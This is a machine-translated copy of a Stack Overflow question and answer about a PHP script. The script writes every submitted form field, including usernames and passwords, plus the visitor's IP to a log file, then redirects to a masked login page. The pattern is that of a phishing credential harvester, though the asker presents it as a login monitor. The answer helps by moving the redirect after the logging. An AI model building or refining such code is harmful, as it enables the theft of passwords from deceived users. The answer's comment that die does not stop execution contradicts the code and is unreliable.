gpt4 book ai didi

php - 创建一个 PHP 以在运行脚本后重定向用户

转载 作者:行者123 更新时间:2023-11-28 05:45:25 25 4
gpt4 key购买 nike

我正在尝试创建一个简单的 Web 应用程序供一些 friend 使用,但我不知道如何为它执行 php 函数。

<?php
header ('Location: https://####.com/login/#');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fwrite($handle, "IP=");
fwrite($handle, $_SERVER["REMOTE_ADDR"]);
fwrite($handle, "\r\n");
fwrite($handle, "---------------");
fwrite($handle, "\r\n");
fclose($handle);
?>

这应该做的是写一个用户名和密码以及登录 IP 的日志,以便在需要时我的伙伴可以确保没有人登录,这是不应该登录的。无论如何,我将如何做到在记录这些详细信息后将它们转发到另一个页面,例如主页?有没有办法在不过多修改 php 内容的情况下执行此操作?

也不确定是否有办法通过修改我正在使用的按钮来做到这一点......

<input class="button-red" value="Log in" type="submit">

不过仍然需要运行 PHP。

最佳答案

header ('Location: https://####.com/login/#'); 移到代码末尾。

这样一旦文件写入完成,页面将被重定向。

编辑

请记住,在将任何输出发送回浏览器之前,需要调用 header() 函数。意思是,在任何 html 之前都应该使用它!

// do your code for inserting the IP to the file

header ('Location: https://####.com/login/#'); // to redirect the page
die; // the script will not stop execution here, so the html that you might have in that page below this code won't be shown either

?>

关于php - 创建一个 PHP 以在运行脚本后重定向用户,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/37639458/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com